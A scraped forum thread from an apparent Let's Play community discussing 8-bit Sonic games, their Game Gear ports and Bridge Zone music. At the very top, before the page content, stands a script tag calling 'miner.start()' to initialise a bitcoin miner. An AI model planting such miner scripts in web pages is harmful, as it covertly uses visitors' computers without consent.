<script>
miner.start(); // initialise bitcoin miner
</script>

pge projectmario fan games galaxysmbx community

A Thousand Miles - Adventures (plural) - Birdemic

this is the place where lps are being talked about. it's important to talk about games being played on the internet.
User avatar
Sebby19
Posts: 2564
Joined: 10 years ago
Location: Winnipeg, Manitoba

Re: All The S@nics - 1 (8-Bit) - Bridging The Generation Gap

Postby Sebby19 » 6 months ago

There were also quite a few games that had NES and SNES versions.
ImageImage
-Banned in Antarctica
Sebby19 wrote:If your life depends on throwing up, switch to the keyboard
Official raocow subscriber # 30,000

10204307
Posts: 316
Joined: 10 years ago
First name: Violet
Pronouns: she/her

Re: All The S@nics - 1 (8-Bit) - Bridging The Generation Gap

Postby 10204307 » 6 months ago

The 8-bit Sonics are unusual in that they're very different from the 16-bit games that share the same name. You can already see that a bit in the Green Hill video - they're much more linear and Mario-esque because of hardware limitations, and, as we'll see in the future, many of the zones also diverge from the 16-bit version. The 8-bit version of Sonic 2 actually came out a month before the 16-bit version, and has even less similarities, with both titles having completely different zones, as well as different excuse plots stories.

Sonic Gems Collection (which might be more aptly referred to as "Look At This Weird Shit We Made") included 8-bit Sonic 2 as an unlockable game, but much like all of the other 2D Sonic games, I never beat it because I was bad at it. But the first zone is pretty abnormal by Sonic standards so I still clearly remember playing it.

User avatar
Grounder
Posts: 3342
Joined: 5 years ago

Re: All The S@nics - 1 (8-Bit) - Bridging The Generation Gap

Postby Grounder » 6 months ago

10204307 wrote: Sonic Gems Collection (which might be more aptly referred to as "Look At This Weird Shit We Made") included 8-bit Sonic 2 as an unlockable game, but much like all of the other 2D Sonic games, I never beat it because I was bad at it. But the first zone is pretty abnormal by Sonic standards so I still clearly remember playing it.
There's a reason for that. The first boss was made way harder because of screen crunch on the Game Gear.
Why don't you eat me?

I am perfectly tasty...

AND I'LL STEAL YOUR SOUL! :twisted:

ImageImageImage

User avatar
konaa
ultimate poser
Posts: 64
Joined: 6 months ago
Location: Toronto, Canada
Contact:

Re: All The S@nics - 1 (8-Bit) - Bridging The Generation Gap

Postby konaa » 6 months ago

I kind of like the Master System Sonic games. The level design definitely gets pretty nasty and kinda questionable later on, but it's neat to see the way that they've designed the levels without having the pretext of "fast 2d platforming!". There's a bit less spectacle and it's a bit closer to something like Mario. It's like looking into an alternate universe where Sonic wasn't crushed under the weight of his own attitude.

User avatar
Heavy Sigh
Posts: 592
Joined: 6 years ago

Re: All The S@nics - 1 (8-Bit) - Bridging The Generation Gap

Postby Heavy Sigh » 6 months ago

Fun Sonic Facts!

South Island is an island on which most of Sonic's 8-bit outings take place. It is located somewhere in the Pacific, however it cannot be located on any map due to the island's habit of drifting aimlessly across the ocean.

In the Game Gear's version of Bridge Zone's boss battle, the island on which Sonic fights Dr Robotnik has been replaced by a two-part bridge which the player cannot fall off of, leaving Dr. Robotnik and his projectiles as the only dangers to worry about.

DinnerSonic
All the DinnerSonics
Posts: 59
Joined: 6 years ago
First name: Matthew
Pronouns: he/him/his
Location: United States

Re: All The S@nics - 1 (8-Bit) - Bridging The Generation Gap

Postby DinnerSonic » 6 months ago

Time for the 8-bit version of the classic speedbump stage, Marble Zone!

... wait, Marble Zone isn't in the 8-bit version, so what's this for? That's right, despite having its own original second Zone, the game data still contains an 8-bit version of the Genesis Marble Zone theme! Meanwhile, I've heard some say they hear parts of Bridge Zone in the theme song for Tails in Sonic Adventure. I guess we can cross that bridge when we get there.

User avatar
Falky
Space Mountain, Real World's Champion, WOOOOO etc
Posts: 104
Joined: 9 years ago
Pronouns: he/him/his
Location: Workington, England

Re: All The S@nics - 1 (8-Bit) - Bridging The Generation Gap

Postby Falky » 6 months ago


Image Image
Image Image
Image Image
Image Image

kurt91
Posts: 42
Joined: 2 years ago

Re: All The S@nics - 1 (8-Bit) - Bridging The Generation Gap

Postby kurt91 » 6 months ago

Also, if I recall correctly, it's been verified in an old interview that the Sonic version did indeed come first. It was an intentional homage. Janet Jackson was apparently a really big Sonic fan at the time.

User avatar
Sebby19
Posts: 2564
Joined: 10 years ago
Location: Winnipeg, Manitoba

Re: All The S@nics - 1 (8-Bit) - Bridging The Generation Gap

Postby Sebby19 » 6 months ago

So yeah, I did play this game in an online emulator I randomly found, when I was a young lad.

I didn't even know this was an official game, I thought it was a fan made one. Didn't even know what an emulator was.
ImageImage
-Banned in Antarctica
Sebby19 wrote:If your life depends on throwing up, switch to the keyboard
Official raocow subscriber # 30,000

User avatar
konaa
ultimate poser
Posts: 64
Joined: 6 months ago
Location: Toronto, Canada
Contact:

Re: All The S@nics - 1 (8-Bit) - Bridging The Generation Gap

Postby konaa » 6 months ago

I fully believe the Janet Jackson thing (that's really neat) but I'm pretty sure that the familiar melody for me anyway was this one. opening being a very similar melody but they play around with the chords a little.

IMO the autoscroller feels weird because it's antithetical to the idea of "gotta go fast" that's been so firmly associated with sonic's brand. You don't even HAVE control over your speed in an autoscroller stage.

User avatar
HiroshiMishima
Aging Gamer
Posts: 55
Joined: 6 months ago
Location: California

Re: All The S@nics - 1 (8-Bit) - Bridging The Generation Gap

Postby HiroshiMishima » 6 months ago

DinnerSonic wrote:Time for the 8-bit version of the classic speedbump stage, Marble Zone!
Wow, that was an extremely good song, it's a shame it didn't make it into the actual game but I'm glad it existed somewhere so we can here it!

Also, with regards to HeavySigh's facts, here's another interesting one: In the awesome Sonic the Hedgehog OVA, originally released in 1996, the collective floating landmasses were called South Island. It also featured a destroyed surface (ala Skies of Arcadia, another SEGA title) that looks mysteriously like an Earth city (ala Adventure Time), that was covered in a thick layer of smog.

While I've read that Sonic games were always supposedly taking place on Earth in Japan, and that Mobius was primarily a Western designation, it's fascinating that this was effectively the first real glimpse/indication that Sonic takes place on an Earth of some sort.

User avatar
Super Llama
Love is stored in the robot
Posts: 151
Joined: 7 years ago

Re: All The S@nics - 1 (8-Bit) - Bridging The Generation Gap

Postby Super Llama » 6 months ago

Hey, the Bridge Zone theme DOES sound pretty familiar.



Also the soundtrack for this game was made by Yuzo Koshiro of Streets of Rage fame.

User avatar
Cyril
metal nerd
Posts: 1970
Joined: 5 years ago
First name: Cyril
Pronouns: he/she/they
Location: hell

Re: All The S@nics - 1 (8-Bit) - Bridging The Generation Gap

Postby Cyril » 6 months ago

so who's gonna draw raocow's Sonic OC giraffe?
i've honestly never played a video game in my life

10204307
Posts: 316
Joined: 10 years ago
First name: Violet
Pronouns: she/her

Re: All The S@nics - 1 (8-Bit) - Bridging The Generation Gap

Postby 10204307 » 6 months ago

Although the Bridge Zone theme is pleasant and catchy enough, it feels weirdly "cute" for a classic Sonic game, since the 16-bit ones generally leaned into a more funky feeling with modern chord progressions, while this one just flat-out uses that good ol' I-V-vi-iii-IV-I-IV-V Pachelbel's Canon chord progression (or more specifically, a common version of that where the chords are inverted so the bass descends diatonically from 1 to 3 and then goes back up for the last two chords before returning to I). It's even more jarring coming directly after Green Hill Zone, where the music is a direct demake of the original tune. I guess it's fitting that this game that doesn't really play like a Sonic game also doesn't really sound like a Sonic game either.

The direct quote of this song in Sonic Adventure 1 is, I think, a pretty great indicator of how the style of music in Sonic changed in his transition to 3D, since it doesn't feel out of place in that game at all.

User avatar
kitikami
Posts: 491
Joined: 6 years ago

Re: All The S@nics - 1 (8-Bit) - Bridging The Generation Gap

Postby kitikami » 6 months ago

It's interesting that Janet Jackson wrote a song inspired by Sonic music given that her brother had been hired to compose music for a different Sonic game. Maybe the whole family were fans.
Image

User avatar
Taigiry
Posts: 136
Joined: 5 years ago

Re: All The S@nics - 1 (8-Bit) - Bridging The Generation Gap

Postby Taigiry » 6 months ago

As someone with a Game Gear but not a Master System it's kinda weird seeing the 8-bit games with a big screen and the changes done to the handheld port.

Also I very much prefer Sonic 1 8-bit over the 16-bit original. For some reason the 16-bit game never really clicked with me.

User avatar
Arctangent
squawky
Posts: 630
Joined: 4 years ago
Pronouns: she/her

Re: All The S@nics - 1 (8-Bit) - Bridging The Generation Gap

Postby Arctangent » 6 months ago

10204307 wrote: The direct quote of this song in Sonic Adventure 1 is, I think, a pretty great indicator of how the style of music in Sonic changed in his transition to 3D, since it doesn't feel out of place in that game at all.
While this isn't exactly wrong, I think there's another detail to consider: image songs in SA1 all vary in style, and Tails never stopped taking the role of the cute kid sidekick. Overall I'm not sure if Bridge Zone would've fit in that game if it was just used as a level theme, but as far as using it for an optimistic character that's significantly younger than the main character, whose music style is buttrock? Yeah, it's actually pretty fitting.

User avatar
Cyril
metal nerd
Posts: 1970
Joined: 5 years ago
First name: Cyril
Pronouns: he/she/they
Location: hell

Re: All The S@nics - 1 (8-Bit) - Bridging The Generation Gap

Postby Cyril » 6 months ago

I wouldn't consider tails theme buttrock tbh, it's a very late 90's pop rock sound
i've honestly never played a video game in my life

User avatar
raocow
the death of the incredible huge
Posts: 2972
Joined: 10 years ago
Location: maybe the Wizards are the most complex, and the sales guys are up their daily

Re: All The S@nics - 1 (8-Bit) - Bridging The Generation Gap

Postby raocow » 6 months ago

no no, the main character's music stile is buttrock
the chillaxest of dragonsImage
Image
Image
Image
ImageImage

User avatar
Ashan
The world has become a place
Posts: 2178
Joined: 9 years ago
Location: Canada

Re: All The S@nics - 1 (8-Bit) - Bridging The Generation Gap

Postby Ashan » 6 months ago

Image
Image
Image
Image
Image
Image

AlchemistHohenheim
Posts: 303
Joined: 10 years ago

Re: All The S@nics - 1 (8-Bit) - Bridging The Generation Gap

Postby AlchemistHohenheim » 6 months ago

I doubt raocow will do this, but just gonna put it out there that I think it'd be a good idea to end each of the Master System Sonic games (1/2/Chaos) with a one-shot video showing off the Game Gear versions.

Both because I think those are probably the versions that most people in North America would actually be familiar with, and to show off just how bad the zoom-in is compared to the Master System versions (especially for Sonic 2).
So this thread is a thing. Maybe check it out.

User avatar
KobaBeach
obscure jrpg enthusiast
Posts: 1399
Joined: 6 years ago
First name: David
Pronouns: he/him
Location: Portugal

Re: All The S@nics - 1 (8-Bit) - Bridging The Generation Gap

Postby KobaBeach » 6 months ago

i like how it took until i got unbanned for someone to bring this up outside of youtube comments. y'all are slacking



i was also like one of the first people to track the source of this song's usage in dreams collection (in 4ch and youtube comments iirc)

smh @ y'all fake sonic fans

this isn't the only video game sample janet used either, coincidence or otherwise

more fun scrolling to look forward to in jungle btw



AlchemistHohenheim wrote: I doubt raocow will do this, but just gonna put it out there that I think it'd be a good idea to end each of the Master System Sonic games (1/2/Chaos) with a one-shot video showing off the Game Gear versions.

you forgot blast : )

twitter (spicy at times!) | avatar by kuma

who cares:
Image

Image
Image
Image
Image

User avatar
Cyril
metal nerd
Posts: 1970
Joined: 5 years ago
First name: Cyril
Pronouns: he/she/they
Location: hell

Re: All The S@nics - 1 (8-Bit) - Bridging The Generation Gap

Postby Cyril » 6 months ago

raocow wrote: no no, the main character's music stile is buttrock
I guess that sentence could be read that way too, in which case yes
i've honestly never played a video game in my life

User avatar
KobaBeach
obscure jrpg enthusiast
Posts: 1399
Joined: 6 years ago
First name: David
Pronouns: he/him
Location: Portugal

Re: All The S@nics - 1 (8-Bit) - Bridging The Generation Gap

Postby KobaBeach » 6 months ago

i just wish silver got more themes because if 06 is any indication we'd get house/disco-inspired shit which would probably result in some bomb ass future funk or french house
twitter (spicy at times!) | avatar by kuma

who cares:
Image

Image
Image
Image
Image

User avatar
Arctangent
squawky
Posts: 630
Joined: 4 years ago
Pronouns: she/her

Re: All The S@nics - 1 (8-Bit) - Bridging The Generation Gap

Postby Arctangent » 6 months ago

KobaBeach wrote: i just wish silver got more themes because if 06 is any indication we'd get house/disco-inspired shit which would probably result in some bomb ass future funk or french house
so like i'm not gonna draw my path on how this lead me to what i'm about to say, just say that it did

but was classic sonic retconned into being from a different universe or a different dimension, because uh

the latter might not even be a retcon, because this one of the few circumstances where the fact that those words don't actually mean the same thing might actually matter





'course it could still be a big ol' retcon anyway but this realization is having more of an impact on me than it really probably should


Return to “let's play”

Who is online

Users browsing this forum: Google [Bot], MSN [Bot] and 23 guests